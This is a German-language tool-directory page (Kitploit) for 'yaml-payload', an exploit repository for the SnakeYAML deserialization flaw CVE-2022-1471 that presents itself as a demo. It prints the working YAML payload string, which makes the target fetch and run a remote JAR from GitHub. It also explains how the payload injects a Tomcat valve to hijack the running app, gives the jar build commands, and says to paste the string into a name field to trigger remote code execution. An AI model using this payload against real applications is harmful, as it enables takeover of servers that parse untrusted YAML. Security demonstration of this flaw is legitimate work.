Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
yaml-payload — SnakeYAML CVE-2022-1471 Exploit-Payload für Demo | Kitploit
Tools/GitHubGitHub/seal-sec-demo-2/yaml-payload
Dynamische Analyse (Sandboxing)SchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & BildungPayload-Entwicklung
GitHubseal-sec-demo-2/yaml-payload

yaml-payload

SnakeYAML CVE-2022-1471 Exploit-Payload für Demo

Repository anzeigen
9vor 7 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

yaml-payload

Ein SnakeYAML-Deserialisierungs-Exploit-Payload für CVE-2022-1471, adaptiert von artsploit/yaml-payload (ursprünglich basierend auf mbechler/marshalsec).

Was es tut

Wenn es über SnakeYAMLs unsicheres Yaml.load() geladen wird, übernimmt dieses Payload die laufende Anwendung und ersetzt sie durch eine „You've Been PWNED"-Seite:

  1. Injiziert ein Tomcat-Valve in die laufende Spring-Boot-App per Reflection und kapert den bestehenden Port 8080 – dieselbe URL (einschließlich eines etwaigen ngrok-Tunnels) liefert nun die PWNED-Seite aus
  2. Leitet den Browser automatisch um – die POST-Antwort sendet eine 302-Weiterleitung, sodass der Browser die PWNED-Seite ohne manuelles Aktualisieren sofort lädt
  3. Öffnet den Browser automatisch mit der korrekten URL (ngrok-öffentliche URL, falls verfügbar, andernfalls localhost:8080)
  4. Gibt Exploit-Nachweise in der Konsole bzw. in den CI-Logs aus

Wenn die Tomcat-Valve-Injektion nicht verfügbar ist (z. B. bei einer Nicht-Spring-App), fällt es zurück auf einen eigenständigen HTTP-Server auf Port 9999 und erstellt automatisch einen ngrok-Tunnel, falls ngrok läuft.

Dies funktioniert sowohl lokal auf macOS als auch in CI/CD-Pipelines (z. B. GitHub Actions auf Ubuntu).

Wie die Exploit-Kette funktioniert

Das SnakeYAML-Payload löst ScriptEngineManager über das Java-SPI (Service Provider Interface) aus:

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sec-demo-2/yaml-payload/main/yaml-payload.jar"]]]]
  1. SnakeYAML instanziiert java.net.URL, das auf die yaml-payload.jar dieses Repos zeigt
  2. Es wird in einen URLClassLoader verpackt, um entfernte Klassen zu laden
  3. ScriptEngineManager entdeckt und lädt AwesomeScriptEngineFactory über META-INF/services/javax.script.ScriptEngineFactory
  4. Der Konstruktor der Factory injiziert ein Valve in die laufende Tomcat-Pipeline und ersetzt jede weitere Antwort auf / durch die PWNED-Seite

Build

Erfordert JDK 17+:

javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..

Verwendung

Wird als Exploit-Payload im Projekt maven-demo verwendet. Fügen Sie die Payload-Zeichenkette in das Namensfeld der App ein, um RCE auszulösen. Die Seite der App wird bei der nächsten Anfrage durch die PWNED-Seite ersetzt. Eine vollständige Demo-Anleitung finden Sie in der README dieses Repos.

Tool herunterladen